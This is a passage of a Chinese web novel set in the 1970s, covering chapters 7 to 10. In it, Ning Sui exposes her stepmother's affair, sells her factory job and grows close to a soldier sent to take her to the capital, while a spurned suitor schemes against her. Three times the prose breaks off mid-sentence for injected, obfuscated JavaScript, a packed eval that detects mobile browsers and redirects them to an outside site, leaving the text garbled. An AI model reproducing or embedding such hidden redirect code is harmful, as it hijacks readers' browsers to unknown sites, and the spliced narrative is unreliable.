李素芬也是不太放心,但今儿晚她要跟李四生见面,暂时没空理会宁穗的事情。 江民安一听,便着急地说:“不如就今晚吧,我怕节外生枝。” “今晚不行!” “为什么今晚不行?” 李素芬心虚说:“我、我今儿晚要去郭婶家听收音机,今晚没空。” 江民安:“听收音机什么时候不能听?咱们先把江宁穗的婚事给弄好了,以后我给你买一台收音机回家慢慢听个够。” “我要是能指望你给我买收音机,我就不用去地里刨食了。”李素芬放好了梳子,哼了一声:“有什么事过了今晚再说。” 反正宁穗都已经是冯进财的囊中之物,还差得了这一时半会? 江民安眉头紧皱:“可是妈,芳芳一直在催我,要是再不解决财哥的婚事,她就要跟我分了,你……” 李素芬信心十足:“你放一百个心吧,只要她宁穗还在这江河镇一天,你妈我都有把握让她嫁给冯进财。早一天晚一天又有什么关系。” 除非,她宁穗能飞出这江河镇! 江民安还想说什么,李素芬便没好气道:“对了,我今晚没煮饭,你去厨房拿个番薯吃吧。” 江民安看着他妈离开的背影,皱起了眉吐槽:“听个收音机还要穿裙子,也不怕被人闲话。” 尤其是听到今晚又是吃番薯,他气得想要打人。 自从江建国去世之后,家里连口像样的吃食都没有。 宁穗的机床厂工作,他一定要拿到手。 以后他也要吃上正儿八经的商品粮! 江民安和李素芬这两母子,一个赶着去会情郎,一个气急败坏在家里骂娘,谁都没有注意到屋顶上偷听的宁穗。 宁穗撑着脑袋,看着李素芬往机床厂的方向走去。 随后,她往旁边的柴房一跃,轻松从屋顶下了来。 * 李素芬来到了废弃仓库。 这里跟家属区却只有一墙之隔,但因为堆放了很多杂物,几乎没什么人会过来。 李素芬显然不是第一次来这里,哪怕这里连盏路灯都没有,她依旧熟门熟路地找到了废弃仓库的门口。 一进门,李素芬就撞进了一个结实的怀抱里。 昏暗的光线让两人都看不大清对方的脸,那男人只看到了熟悉的红裙子,激动万分。 而李素芬却热情似火地勾了上去,娇嗲道:“死鬼,你轻点啊。” 就在两人打得火热时,有个小孩突然放声大喊:“来人啊,这里有人搞破鞋……” 八点时分,大家堪堪才准备休息的时间。 一听到有人大喊搞破鞋,立马就来了一群热心的吃瓜群众,围在了废弃的仓库前。 “谁啊谁啊?谁搞破鞋?” 当大家看到仓库里面的李素芬和冯进财时,众人都说不出话来。 这这这…… 到底是怎么回事?! 8. 第 8 章 第 8 章 宁穗去到废弃仓库的时候,就看到了一个四十多岁,身材壮实的中年妇女在骂街。 “你个死老狐狸精,我儿子才二十四岁,都能当你儿子了。你个老破鞋一把年纪的也好意思打他的主意?你是没男人会死不成?怎么不回家让你儿子捅一捅呢……” “臭女表子,你自己都是有儿子的人,你是没见过男人吗?发骚发到孩子身上,你也不怕有报应,你天打雷劈,你不得好死!” 李素芬身上的裙子歪歪扭扭,一直别过脸去,不敢看向任何人。 只有冯进财在一旁不断澄清:“妈,我没有跟她搞破鞋,我怎么可能会看上她?!” 他今晚明明是跟宁穗约会来着,谁知道李素芬居然会穿上宁穗的裙子过来找他?! 可是围观的群众却不买单,想起了前不久宁穗被李素芬逼婚,然后宁穗让李素芬嫁给冯进财的事情。 当时大家只是看个笑话,没成想今儿个居然还真发生了这么离谱的事。 “之前我还以为宁穗那丫头随口说的,没想到这个当后妈的居然当真了。” “后妈就是后妈,抢起男人来一点都不手软呢。” 中年妇女一听,就骂得更凶了,什么样的粗口都爆了出来。 宁穗也觉得忒难听了些。 正打算离开,却发现李四生在一个角落里偷看,露出个狰狞但又担忧的表情。 江民安就是这个时间赶来的。 他看到冯进财他妈在骂李素芬,连忙拉着李四生走出来。 “四生叔,你跟我爸是最好的,你也知道我爸跟我妈的感情有多深。你帮忙说句公道话,我妈是不会做出这样的事情!” 李素芬看到李四生出现,咬着唇死死看着他。 无奈李四生看到周围的群众时,却退缩了,只说了一句:“素芬确实不是这样的人,你们不要冤枉她。” 结果江家隔壁屋的刘大婶就笑了:“哎哟,素芬素芬的,叫得这么亲热啊,不知道的还以为你跟她有什么关系呢。” 李四生脸上露出了被人说中了的心虚,连忙疾声否认:“你放屁,我只是实话实说,你别冤枉人!” 刘大婶才不怕他,反而很讨厌李四生在厂里拿着鸡毛当令箭,总是欺负她的儿子:“你是不是被冤枉,你自个儿门儿清,人家江建国去世之后,你可没少往江家院子钻呢,谁知道你都干了啥事?” 大家听到刘大婶这么一说,觉得确实是有这么一回事。 自从江建国去世,李四生去江家的次数就多了很多。 刚开始大家都以为是过去处理江建国的后事,也没特别在意,现在提起来才觉得有点不对劲。 李四生被大家打量的目光看得更心虚了,狠狠地瞪了刘大婶一眼。 “那是因为江主任以前关照我,他去世了,我肯定要关心一下他的家人,你可不要随口胡说。” 宁穗看热闹不嫌事大:“李主任,可是你以前怎么不关心关心一下我呢?明明我才是机床厂的正式职工呢。” 打起来打起来! 李四生:“……” 宁穗的这一把火上加油,彻底把李四生推上了瓜田的舞台。 大家开始回忆李四生和李素芬暧昧的蛛丝马迹。 李素芬看出了李四生想要逃跑的意图,觉得今天的屈辱可不能白受,于是破罐子破摔地骂道:“李四生,你个负心汉,你个人渣,江建国都死了,我现在被人欺负成这样你还不说话,你不是男人!” 李四生瞪圆了眼睛:“你……” 李素芬豁出去了,今天不为自己讨个公道也咽不下这口气:“你什么你,你李四生就是个废物,蠢货!我让你把江建国的工作给我儿子。结果呢?啥啥都办不成,你不是废物是什么?” 李四生哪里想到李素芬会拿出工作来说事,一下子就慌了,到时候传回厂里那就麻烦了:“你瞎说什么,你儿子的工作关我什么事!” 李素芬直接冲过去,揪住了李四生的耳朵:“今天你不把话跟大家说清楚,我跟你没完!” 李四生众目睽睽之下被李素芬一个新寡妇捏着耳朵,觉得老脸都丢尽了,一把把她推到了地上:“你个泼妇,神经病……你自己搞破鞋不要脸,我还要脸呢。” 李素芬:“我搞破鞋?我今天是来见谁的,你会不知道吗?吃干抹净就想拍拍屁股走人是吧?我告诉你,门都没有!” 李素芬知道李四生最近偷偷找了媒婆找二婚对象,要是真让他给找着了,以后不得把她给一脚踢开? 现在江建国已经去世了,事情又闹得这么难看,哪怕撕破这张老脸,她都要李四生对她负责! 不然她下半辈子还能依靠谁? !!! 群众吃瓜的热情再次达到了一个新高度。 这又是什么惊天大瓜! 大家吃瓜的脑子还是转得特别快,很快就理清了两人之间的关系。 按理说李四生也是丧妻,两人就算在处对象也没什么问题。 就是不知道两人啥时候开始搞的破鞋,啧啧啧。 李素芬骂起街来也是当仁不让,刚刚她被冯进财母亲骂了一通,早就憋了一肚子的委屈和怒气。 现在只能一口气的全发泄在李四生的身上,两人的奸情就这样毫无防备地公之于众。 于是,李素芬和李四生越说越激动,最后两人居然当场打了起来。 * 而一旁的冯进财他母亲根本来不及反应,不过也庆幸只是个误会,最后把骂街的话咽回去肚子里。 然而她也不想再看李素芬和李四生的闹剧,拉着自家丢脸的儿子准备离开。 没想到冯进财母亲经过宁穗身边时,突然把怒火瞄准了她。 “你就是那个老破鞋的女儿是吧?果然有其母必有其女,你也不是什么好东西!我告诉你,就算你长得再漂亮,我也不会让我儿子娶你进门!” 宁穗皱了皱眉,直接骂了回去:“你以为你又是个什么好东西?你儿子到处污蔑我的清白,你是真不知道?有你这么教儿子的吗?我也可以明确跟你说,我这辈子都不会嫁你儿子!” 冯进财皱起了眉:“宁穗,原来是你……” “闭嘴!”那中年妇女气急败坏:“你……你个小狐媚子,你就等着看看谁家还会愿意娶你这个老破鞋家的闺女,一家不要脸的东西!” 宁穗冷冷一笑:“我的事就不劳您费心了,您有空的话,倒不如关心一下自家那长得对不起党对不起人民的儿子吧!” “你……”中年妇女被宁穗一句话堵得脸都绿了,恼羞成怒地拉着冯进财离开。 冯进财看着宁穗那陌生的冷笑,越想越气恼。 可是强势的母亲拉着他往前走,冯进财最后只能离开这个是非之地。 * 月明星稀,晚上十二点时分。 贺长青平躺在军人招待所的床上,第八百八十八次强迫自己入睡。 无奈一闭上眼睛,宁穗抱住他的画面像是潮水翻滚般冲进他的脑海。 忽然间,他在裤兜里摸到了一枚小小的照片。 昏暗中,他把照片拿了出来,极好的视力让他可以清晰地看到照片上少女的笑颜。 不对劲。 贺长青感觉到浑身的不对劲。 可是,他不知道到底是哪里不对劲。 黑夜中,他缓缓地深呼出一口气,但心情却没有平伏下去。 就连一向埋头就睡的黄东升,也被自家团长的异常行为给吵醒了。 黄东升就着窗外的月光,瞥了眼对面床的贺长青,问:“团长,是有什么情况吗?” 出门在外,贺长青的警惕性总会特别高,什么风吹草动都躲不过他的耳朵。 但是像今晚这样辗转反侧了近两小时,还是第一次见。 莫不是附近有敌特出现? 贺长青沉着声:“没事,你睡吧。” 黄东升知道没有特殊情况便安心地转过身去,继续睡觉。 然而就在刚要睡着的时候,就听到了对面的贺团长突然起床的声音。 这一次还没等他开口,就听到贺长青闷声道:“我出去透透气。” 黄东升正纳闷这会儿不是秋高气爽的季节吗? 还透什么气? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899280|160049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是,很快他就听到了自家团长拿澡盆的声音,敢情这是要去洗澡? “……” 之前就听说贺团长爱干净,没想到居然干净成这个样子。 出门在外还要天天洗澡,一天洗一次还不够,还得洗两次! 啧啧啧,比女同志还要讲究呢。 贺长青彻夜难眠,只觉得天气干燥闷热。 六点一到,干脆爬起来跑操。 等他穿戴整齐,走出军人招待所的时候,却意外碰到了一个让他更感烦躁的身影。 宁穗昨晚一夜好眠,醒来就直接去了黑市买了两份包子。 看到贺长青挺拔健硕的身影,暗赞自己的神机妙算,军人的作息果然很自律! 难怪人家身材这么好! 宁穗拿着新鲜出炉的包子,惊喜地小跑着迎了上来,笑眯眯地说:“贺同志,我还以为你没那么早起来呢。” “我给你买了包子,趁热吃吧。” 宁穗献宝一样,把热腾腾的包子递到面前的男人。 贺长青僵着脸:“不用。” 宁穗挑起眉,霸道地说:“贺同志,我一大早过来,可不是来问你意见的!” 说着,像是怕被他拒绝似的,把包子往他怀里一塞,直接就转身离开。 贺长青手里捧着一油纸袋暖暖的包子,那颗沉寂多年的心突然微微颤了颤。 宁穗之所以起这么早,是准备在上班之前找二狗,想要让他帮忙把工作卖出去。 不过宁穗在邮局门前等到了快七点,才看到二狗的身影。 宁穗大喊:“二狗!” 二狗一副没有睡醒的样子,看到宁穗时有片刻的呆滞。 宁穗却不管他睡没睡醒,直接噼里啪啦地说了一通:“二狗,我准备要离开江河镇,我听人家说工作可以买卖,所以我想在离开之前把机床厂这份工作卖出去。而且我的时间很紧迫,两天之内你能帮我把工作给卖了吗?” “两天?”二狗终于从昏睡中清醒过来,诧异地看着宁穗。 并不是宁穗发疯,而是贺某人真的很不近人情呢! 说了两天,肯定不会给她三天的时间。 宁穗抿了抿唇,说出了第二个要求:“还有,我想把我的房子也卖了。” 没等二狗问话,她笑了笑补充道:“也是两天之内。” 宁穗现在想得很清楚,既然李素芬和李四生早已存在不正当关系,那房子也不应该给他们住下去。 二狗:“……” 二狗从震惊到无奈只用了一秒钟。 “工作好办,不过房子嘛,恐怕没那么容易。”二狗虽然被震惊到了,但还是给出了自己的专业意见。 宁穗思索片刻:“可以先把工作先处理了,房子先不急。” 反正工作是不可能留给江民安的! 这个江民安也没安过什么好心。 二狗想了想,应承下来:“行,等我消息。” “二狗,谢谢你!”宁穗把准备的包子递过去:“你还没吃早饭吧,我请你吃包子。” 二狗看都没看,毫不客气地接了过去。 “那我先回去上班,有消息记得通知我!”宁穗知道二狗办事妥当,连忙赶回机床厂上班去。 宁穗一走,贺长青从邮局的角落走了出来。 二狗看着面前穿着笔挺军装的贺长青,一脸震惊地问道:“长青哥,你怎么会在这里?” 贺长青看了看二狗手里的包子,突然发现原来自己兜里的包子并不是特殊的。 “有任务。”他看着宁穗身影消失的方向,又问:“刚刚那个女同志跟你说了什么?” “没说什么啊,找我办点事情。”话落,二狗疑惑的目光盯着贺长青看了很久。 直到贺长青怀疑他是不是要原地睡着,却听到他惊呼一声:“不对。” 贺长青:“什么不对?” 二狗往自己的大腿上用力一掐,疼得打了个哆嗦:“哥你什么时候开始关心一个女同志说什么了?!” 空气突然陷入了死一般的寂静。 贺长青:“……” 9. 第 9 章 第9章 贺长青是什么人? 只要是认识他的人都会统一战线地往他身上贴上铁石心肠,不近人情的标签,就连女同志也无一例外。 二狗跟贺长青是表亲,十多岁时也曾跟着贺长青参军,但后来因伤转业。 刚进部队那两年,贺长青因长得俊朗,又是京市人,经常会受到军医院和文工团的女同志青睐。 写情书的,送零食的,明里暗里让领导帮忙牵线的,前仆后继的女同志多不胜数。 但贺长青从没拿过正眼对待这些仰慕他的女同志。 一开始大家都以为他条件好,家世好,所以眼光高一点。 但贺长青对人冷漠的根本原因并不是眼光高,是因为他连心都没有! 让二狗印象最深刻的是,文工团有个女同志酝酿了三天三夜,终于鼓起勇气向他表白。 贺长青当时在练枪,由于当时过于入神,直接拿着枪指着人家一个娇滴滴的女同志。 吓得女同志当场就哭了出来。 女同志哭得那个梨花带雨,很多男同志都深感怜惜,纷纷上前去安抚对方的情绪。 大家都以为贺长青事后也会安慰一下那个文工团的女同志,结果他只是说了一句:“我在练枪。” 言外之意就是:“我的眼中根本没有你。” 二狗当时那表情,跟现在听到贺长青居然开始主动关心女同志,是一模一样的。 二狗笑嘻嘻地问贺长青:“长青哥,你该不会看上人家了吧?” 也是,江宁穗可是出了名的机床厂厂花儿,十里八乡谁不知道她的名字? 不过,他哥可不是那种见色起意的庸俗男人! 但俗语又说得好,英雄难过美人关。 没有什么是不可能的。 贺长青向来不轻易显露情绪,淡淡道:“她是宁师长的女儿,我这次过来是负责接她回去京市。” 听着贺长青这滴水不漏的回应,二狗心里憋着笑。 他总感觉事情不像表面的这么简单,但也没有直接戳破,便说:“难怪她这么着急就想把工作和房子给卖了,原来是准备去京市啊。” 贺长青垂眸看他:“她要卖工作?” 二狗伸出手挠了挠腮帮子,把昨晚吃瓜听回来的信息一咕噜说了出来:“这江宁穗同志啊,家庭关系挺复杂的。她爸……就是江建国死了之后,她的后妈想让她早点嫁出去,她的继弟又整天打她工作的主意。难怪这么着急想找回亲生父亲呢,没依没靠的只能被人家天天算计着咯。” “不过她也不傻,知道后妈和继弟都不是好人,估计也不想把工作留给他们,干脆卖了得了。” 贺长青脸上瞧着并没有任何变化。 但……如果仔细观察他的眼睛,会发现他明显紧缩的瞳孔。 贺长青侧过头,问:“你要帮她?” “可以赚钱。”二狗觉得宁穗还挺大方的,换了别人第一时间就是跟他讨价还价。 贺长青对此不置可否。 二狗知道他哥没怎么吃过物质上的苦,便说:“这可是吃商品粮的工作,多少人挤破脑袋都得不到呢,这工作可抢手了!我要是能帮她卖出去,肯定也能赚一笔。” 贺长青没有再说话。 二狗一边啃着宁穗塞给他的包子,一边絮絮叨叨地说着关于她的一些个人信息,还说了宁穗和冯进财的谣言,他也不管贺长青有没有留意听。 不过贺长青如果真的不在意,难道不应该直接打断他的话? 看来贺长青对这个宁穗确实不一样。 “不说别人了。”二狗收回思绪,转眼望向身旁高挑英俊的男人:“对了哥,你找对象了吗?” 贺长青不答,反问:“你呢?你找对象了吗?” 两人对望了一眼,异常统一地避开这个话题。 想起了宁穗说要在两天内把工作卖了,二狗又问他:“对了哥,你们真的这么急着赶回京市吗?就两天时间?” 贺长青“嗯”了一声。 “行吧,我尽力而为,谁让这是宁师长家的宝贝亲闺女呢。” 说不定,以后还会是他嫂子呢。 也不知道有没有这个可能! 但愿是有的吧,他也想看看他哥处对象会是什么样的。 不多时,二狗要回去邮局上班,两人约定晚上一起吃饭。 贺长青回到了军人招待所。 黄东升刚刚从外面跑操回来,看到了桌子上的包子,欣喜若狂。 他连汗都懒得擦了,抓起包子笑得像朵花似的:“团长,这是你给我买的包子吧?我们团长真是太好了,谢谢团长!” 贺长青看着黄东升一口塞了两个包子,到嘴边的话直接咽了回去。 算了,只是个包子。 想了想,贺长青又折了回来,对黄东升道:“今天你起晚了,等会再去跑十公里。” 黄东升露出了个天都要塌了的表情:我要抗议! * 这边的宁穗,没有把全部希望都寄托在二狗身上。 而且她也想着打听一机床厂工作的行情,以免被人家骗了。 能吃上商品粮的工作比一般公社的工作要好很多。 尤其是机床厂的工作,工资会按照工种等级来发放工资。 技术工分为八级,宁穗刚刚入职没多久,按理说应该从最低等工做起。 但厂里看她是见义勇为英雄的后代,直接给了她二级工的工资,过两年也会再升一级。 以后要是一直在厂里做下去,工龄越长,工种就会慢慢跟着升高,工资自然也水涨船高。 所以宁穗猜想她的工作应该不会低于五百块。 中午休息的时候,她随口找了几个人试探了一下,得到的答案却各不相同。 只因还没有人真的愿意把工作卖出去,尤其是在以下地刨食的乡镇里面。 谁要是蠢到把工作卖了,恐怕会被大家笑一辈子。 但是宁穗却迫不及待把工作给卖了,然后离开。 哪怕她去到京市之后并不受宁家任何人的欢迎,但只要给她一个在京市的立足机会,她相信自己会比现在过得更好。 冯进财昨晚被她算计了一次,肯定会怀恨在心。 至于会不会报复她,宁穗也不好说。 现在只能走一步算一步,先把工作和房子的事情给解决了。 休息时间,厂里的人却对昨晚发生的事情很感兴趣。 纷纷跟宁穗打探:“宁穗同志,李素芬真的跟咱们车间的李主任有一腿?” 今天一早,很多人都说李四生和刚刚死了丈夫的李素芬搞破鞋,昨晚被人抓错奸,两人还打了架。 李四生今天没有回来上班,听说是被李素芬抓破了脸,没好意思回厂呢。 宁穗装作什么都不知道的样子:“我、我也不知道啊。” 跟宁穗一个车间的人都以为宁穗是真的不知道,但挡不住爱八卦的心,趁着休息时间,开始吃瓜。 “哎呦,亏江主任以前还一直把李四生当成死党,年年提携他;他倒是好,现在江主任死了,职位让他给占了,连人家媳妇都不放过,真够狠心的哟。” “李四生不是找了红婆,说是给他介绍二婚对象吗?他这边勾着一个寡妇,那边又说找对象,可真是够花的。” 宁穗竖起了耳朵,倏然听到了一个让她高兴的消息: “我回厂子的时候看到李素芬拿着衣服被子往李四生家里走去,说是要李四生负责,不然就一直赖在他家里。” 哦吼,看来家里的房子也可以一同打包卖出去。 既然李素芬已经铁了心要扒着李四生这条船,那房子肯定也不能留给他们。 要是李素芬以后把野男人带回家里,那她真是太对不起江建国了。 毕竟,江建国对原主是真的很好,这个恩情,她会帮原主记在心里。 就在下班时分,可靠的二狗同志早早就等在了机床厂门口。 “江宁穗。”二狗叼着一根狗尾巴草,吊儿郎当地骑在一架二八式自行车上,“工作的事情,有消息了。” * 价钱是二狗帮忙定的,是以三年工资的价格卖出去。 因为技术工的特殊性,第三年的工资二狗往上加了一点,所以总价差不多是一千。 这跟宁穗预测的价格差了整整一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899281|160049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倍! 瞬间有种赚翻了的感觉。 让宁穗没想到的是,这次跟二狗一起来的,居然还有贺长青。 宁穗笑着跟他挥了挥手:“贺同志,真巧,你怎么在这?” 贺长青对上宁穗那黑黝黝的眼眸,沉声应道:“刚好路过。” 二狗:“……” 明明约好了一起去吃晚饭,非要提前过来找他! 这算哪门子的顺路? 宁穗却没有因贺长青的出现而高兴太久,现在她的心思主要是放在卖工作上面。 如果顺利的话,她明天就可以出发去京市,彻底告别这个鬼地方! 想要买宁穗工作的是一个大姐,虽然身上的衣服补丁很多,但看得出来是个挺精明能干的人。 不然也不会替她的丈夫来出这个头。 “我想给我家男人买工作,钱我都准备好了,可是我家男人不会字行不行的啊?”何大姐看着面前漂亮得好像年画的宁穗,有片刻的诧异,很难相信她居然会把工作卖出去。 宁穗笑着给她解答:“二车间的主要工作是车床加工,需要认一点基本的字。例如写自己的名字,需要会看零件上面的代码、名称,上班时间是两班倒,不算太累。” 何大姐皱眉:“哎哟,那我家男人不会认字可咋办啊?我是想给他买份工作,那他就不用这么辛苦去挣工分了。” 秋收刚过,村里刚忙活完夏季稻的收割工作,但后面依然还有很多农活需要干。 现在有了这么个机会,何大姐想也没想,便找娘家和婆家凑了点钱,打算把工作买下来。 她不想她家男人那么辛苦,天天为了几个工分,干得腰都塌了。 宁穗便问:“大姐,那您会识字吗?” “我?”何大姐虽然不知道宁穗为什么这样问,不过还是很诚实地回答道:“我上过五年学,当然会认字,不过复杂的我也不会,算数也不酸特别好。” 宁穗笑了起来:“那不就成了?这工作你完全可以胜任,既然你的丈夫不会字,那为什么不能是你去机床厂上班呢?” 宁穗早就发现了,机床厂里面有95%的职工是男人,只有少部分是女性,且大多数在文职岗位上。 在车间工作的女性少之极少,宁穗那个车间就只有三个。 一车间是一个都没有。 而且不仅是机床厂,其他单位大多数都是男性居多。 在乡镇里工作机会本来就罕有,工作机会似乎永远都是首先向男性倾斜。 所以宁穗是真心想要把工作卖给对方的。 何大姐不可置信地笑了出声:“同志你这不是说笑吗?哪有女人去吃商品粮,男人在田里挣工分的?要是有工作,那当然得让男人去啊。” 宁穗觉得何大姐就差把“男人是家里的顶梁柱”这句话,甩她的脸上。 宁穗没有恼怒,很认真对她说:“何大姐,这份工作确实需要会认字,如果你丈夫不会认字,我是不可能卖给他的。” “不过你要是想清楚了,你愿意去机床厂上班,我可以把工作卖给你。咱们首长都说了,妇女也能撑起半边天。现在时代不一样了,男女都一样,男同志能办到的事,女同志也一样可以胜任这一份工作。” 为什么就非得让男人去做这一份工作呢?只是因为他是个男人? 何大姐脸色犯难,莫名觉得宁穗说得很对。 她思考片刻,说:“同志,你能不能等我一下?我回去问问我家男人,再给你答复行不行?” 何大姐知道宁穗这份工作很抢手,出了这个门,肯定就不会再等她了。 可听完宁穗的话,她觉得自己也可以试一试。 二狗想要劝说的话又咽了回去。 原以为宁穗不会答应,毕竟这个何大姐走了,下面还有赵大婶陈大叔,多的是人想要这份工作呢。 没想到宁穗却笑着点了点头:“明天早上八点,如果你不来,我就把工作卖给其他人。” 何大姐感激地招了招手:“同志,你一定要记得等我。” 站在不远处的贺长青,深邃的眸子看向了宁穗,不经意间露出了一个连他自己都没有察觉的浅笑。 10. 第 10 章 第10章 何大姐一走,宁穗便开始跟二狗八卦:“你跟贺同志很熟?” 贺长青的大长腿走一步是他们的两步,所以已经走在了前头。 宁穗忙完了正事,又开始欣赏起贺长青的俊颜,难怪古人都说饱暖思□□。 没事干的时候就得找点美女帅哥欣赏欣赏,好慰藉一下自己空虚的心灵。 二狗瞥了眼好奇心满满的宁穗,把嘴巴的狗尾巴草拿下来,说:“他是我哥。” 宁穗震惊:“啊,你哥?你们……看着不太像啊。” 虽然二狗也长得人模人样的,但贺长青那身材那模样,简直是高出了两个维度。 怎么看都不像是兄弟! 二狗猜想宁穗是想说贺长青比他帅多了,于是没好气地补充了一句:“是表亲,表亲懂了没!” 其实已经隔了两代人,要不是曾经跟贺长青一同去参军,两家也没必要再联系。 宁穗就说嘛,哪有两兄弟相差那么多的。 宁穗:“贺同志看起来还很年轻啊,他比你大多少?” 二狗看了眼宁穗那张瓷白的脸,就算是放在大城市里她这张脸也是独属一份的美貌,跟他哥站一起似乎还挺搭配的。 要是能促成了一段姻缘,那也是好事! 二狗看着前面步伐要快一些的贺长青,故意压低了声音对宁穗说:“我哥今年二十六岁,京市本地人,十六岁就进了部队,一直待在现在。他现在是首都军区陆军部队39师198团的团级干部,父母在他十岁那年都去世了,后来跟着老爷子一起生活。” 宁穗认真地听完,然后捕捉到其中最关键的信息,惊讶地问二狗:“你哥还没结婚?” 二狗挑了挑眉,这女同志还真会抓重点,“还没呢,老爷子为了这事都伤透脑筋了,你要是有合适的对象,可以给我哥介绍。” !!! 居然没!有!对!象! 宁穗看着前面挺拔的背影,第一感觉就是对方很高,肩膀宽厚虬实,一看就安全感满满的。 难得遇到一个身材和样貌都一流的极品,重度颜控的宁穗发誓这次一定要抓住时机。 这辈子怎么样都要搞一个极品试一试! 宁穗:“那你哥以前处过对象吗?” 贺长青家庭条件放在这年代是顶顶的好,虽然无父无母,但人家现在是团级干部啊,又是京市人,不至于到现在都处不上对象。 如果不是眼光太高,那就是心里有白月光。 二狗摇头:“要是有的话,他的孩子都能出来打酱油了。你都不知道这些年有多少喜欢他的女同志,他就是不肯结婚我们能拿他怎么样。总不能拿着枪指着他,让他去结婚吧?” 不过按照他哥的身手,即便是拿着枪指着他,他都能毫发无伤。 甚至还能逆转局势,在开枪之前直接把对方干掉。 宁穗问:“那你哥喜欢怎么样的人?” 二狗:“……” 他要是知道的话,早就给他哥介绍了。 宁穗突然伸出葱白似的食指,指着自己,问:“二狗同志,那你觉得我跟你哥合适吗?” 话落,前面的贺长青倏然间回过头,吓得二狗一句话都不敢说。 深怕贺长青当场拿他当靶子操练,把他打成筛子。 贺长青是最不喜欢人家帮他乱点鸳鸯谱的。 不然啊,后果是他难以想象的。 贺长青看着二狗,说:“我去供销社买点东西,你去不去?” “去去去,我顺便给我妈买点糖。”二狗同志哪里还顾得上宁穗,跟她挥了挥手便屁颠屁颠跑到贺长青身边。 宁穗看着不讲义气的二狗,真想爆锤他的狗头! 看着他们就要离开,宁穗笑眯眯地叫唤了一声:“等等贺同志。” 贺长青没有回答,深邃的眸子只是静静地看着她。 宁穗便问:“我们什么时候出发去京市?” 贺长青:“后天。” 宁穗腹诽这人可真是惜字如金,一时间也不知道应该怎么跟他套近乎,只好告别。 算了,来日方长,她现在要做的是把江河镇的事情给处理好。 宁穗开始琢磨那套房子应该卖给谁,反正就是不能留给李素芬和江民安他们。 * 角落里冯进财看着宁穗往家里的方向走去,把抽了的烟头往地上一扔,骂了句脏话。 他问身旁的人:“刚刚跟宁穗说话的人是谁?” 小弟很有眼色地又重新掏了一根烟,给冯进财点上,说:“那个穿着军装的人我没见过,估计不是咱们这里的人。另外那个是在邮局上班的二狗,本名叫宋海彬,他爸是公安局的,他妈没啥正事干,天天就待在家里头。” “就是邮局那个,你嫂子刚刚跟他有说有笑的,你去给我查一下宁穗什么时候跟他勾搭上的。”冯进财回想起刚才宁穗跟二狗说话的场景,气得狠狠地吸了一口烟。 小弟恭维地说了一句:“就那个二狗长得没哥你好看呢,家里条件也不如哥你们家,哥你放心,嫂子肯定不会跟别人好上的,估计就是普通闲聊几句。” 昨晚有人被抓到搞破鞋的事情已经在镇子上传开了,但谣言传来传去,各个版本都不一样。 有人说是他哥跟宁穗他妈搞破鞋,又有人说是宁穗他妈和其他人。 他是不信他哥跟宁穗他妈搞一块的。 但是昨晚他哥在机床厂的废弃仓库被人抓了个正着,被指指点点了一晚,回家之后还跟家里人大吵了一架,今天班都不没上。 冯进财喜欢小弟的恭维,哼道:“你嫂子单纯,我是怕她被那个二狗骗了,所以才跟我闹脾气。” 想起昨晚宁穗说这辈子都不会嫁给他,他就觉得气恼。 这比宁穗设计李素芬去跟他约会,更让他没面子。 想他在这个镇子上也算是有脸有面,他自己虽然算不上年轻有为,但好歹也是吃商品粮的正式职工,等着嫁给他的姑娘从村里排到了镇上。 宁穗只要不是眼瞎,都知道他比二狗好多了! 小弟瞥了眼冯进财那阴狠的眼神,问:“那……那要是嫂子真跟二狗好上了可咋办啊?” “那就是她自找的,我低声下气求她不接受,那就别怪我用脏的。”冯进财语气阴冷,似乎已经在谋划着一些阴暗的事情。 “可是……二狗身边那个好像是军人同志,会不会是他家的亲戚?” 冯进财阴阴一笑:“军人又怎么样?强龙不压地头蛇,到时候我跟宁穗生米煮成熟饭,他们又能说什么?” 小弟从十来岁就跟着他,自然知道冯进财并非善类,使起脏手段来是无所不用其极。 对付宁穗这么一个娇滴滴的女同志,简直就是摁死一只蚂蚁那么简单。 * 贺长青走进供销社之前,回头指了指借口转弯的角落,问:“那两个人是谁?” 二狗一脸懵逼:“哪个?” “土蓝色衬衣,黑色裤子,灰色布鞋,头发厚短,约二十五岁,身高一米七左右的年轻男人。”贺长青根据冯进财和他那小弟的衣着打扮描述了一番,然后让二狗看向他们离开的方向。 “诶,那个不就是冯进财,就是宁穗那个后妈给她找的对象,他怎么了?” 二狗真的佩服他哥这神一样的视力,明明人都已经离他们两三百米的距离了,还能看得那么清楚。 贺长青斟酌着冯进财这个名字,声音当即冷了几分:“他跟了我们很久。” 从宁穗和何大姐开始商讨买卖工作的时候,冯进财就一直暗中观察他们。 一开始贺长青以为是宁穗的熟人,所以一直没理会。 没想到居然是他。 二狗震惊道:“他跟着我们干嘛?” 不过很快又反应了过来:“哦,应该是跟着江宁穗。” 贺长青没有再说话,只是看了眼冯进财离开的方向,说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 